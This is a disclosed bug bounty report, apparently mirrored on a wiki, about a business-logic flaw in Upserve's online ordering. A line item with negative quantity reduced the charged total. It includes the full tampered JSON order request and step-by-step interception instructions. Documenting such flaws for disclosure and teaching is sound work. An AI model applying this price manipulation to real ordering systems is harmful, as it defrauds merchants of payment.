Skip to content
Business logic Disclosed report Beginner

OLO Total price manipulation using negative quantities

An order submission accepted a line item with a negative quantity, which reduced the calculated order total. An attacker could therefore pay less than the correct price for an order.

fuzz Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 15 hours
  • Fixed in 44 days
  • Paid in 11 days
  • Disclosed after 13 months

Summary by the program

The total amount of an order could be modified by including an item with a negative quantity.

The report

Manipulating an order request JSON object, containing an additional item with a negative quantity directly manipulates the total amount of the order.

In the following JSON request, an order is submitted for 2 ChickenBurgers ($12 each), as well as -1 BreadPuddings ($9 each).

The total price after tax calculates as $18.70 and is accepted by the system. The attached screenshots show the previous orders, indicating that only $18.70 was charged for the transaction.

JSON
{"card_uuid": "09ef096d-18d7-4cb4-83b7-5bd15d310aac", "city": "Cambridge", "email": "[email protected]", "first_name": "Matt", "last_name": "Thompson", "line1": "1230 Massachusetts Ave", "order": {"charges": {"items": [{"item_id": "254baa85-92c1-412e-a391-aaf44508d882", "name": "ChickenBurger", "price": 1200, "quantity": 2, "instructions": "", "total": 1200, "modifiers": [], "sides": []}, {"item_id": "9169bfc1-2ee1-455b-ad65-aeadd36f46eb", "name": "BreadPudding", "price": 900, "quantity": -1, "instructions": "", "total": 900, "modifiers": [], "sides": []}], "taxes": 290, "tip": {"amount": 0}, "total": 1870}, "confirmation_code": "upserve-hacker-cafe-32870", "fulfillment_info": {"customer": {"email": "[email protected]", "first_name": "Matt", "last_name": "Thompson", "phone": "555-555-5555"}, "delivery_info": {"address": {"address_line1": "1230 Massachusetts Ave", "address_line2": null, "city": "Cambridge", "country": "", "state": "MA", "zip_code": "02138"}}, "instructions": "", "type": "delivery"}, "id": "a168f311-f0bf-416c-b813-b277e3a7b5b3", "payments": {"payments": [{"amount": 0, "payment_type": "CREDIT", "tip_amount": 0}], "total": 3190}, "time_placed": "2018-06-11T20:48:51.313Z"}, "order_total": 3190, "phone_number": "555-555-5555", "state": "MA", "store_pretty_url": "upserve-lounge-test-providence-2", "submission_id": "a168f311-f0bf-416c-b813-b277e3a7b5b3", "text_alerts": false, "zip": "02138"}

Impact

The attacker can reduce the price of the order.

Attachments

Screen_Shot_2018-06-11_at_2.36.37_PM.png
Screen_Shot_2018-06-11_at_2.36.37_PM.png From the original on HackerOne
Screen_Shot_2018-06-11_at_2.36.48_PM.png
Screen_Shot_2018-06-11_at_2.36.48_PM.png

The original report as published on HackerOne, by fuzz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server trusted client-supplied item quantities and prices without validating that quantities are positive or recomputing the total from its own catalogue data.

Impact

The attacker could reduce the price of the order and be charged less than the correct amount.

What the attacker needed

Ability to intercept and modify the order request

How it was found

  1. Intercept the order submission request.
  2. Add an extra item to the items list with a negative quantity.
  3. Submit the modified request and observe the reduced total being accepted.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you order food online, the app adds up the prices of the items to work out what you owe. This app trusted the quantity number sent by the customer's device, so sending a negative quantity for one item subtracted money from the bill. The customer could then pay a lower total than the food actually cost.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More from Upserve

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.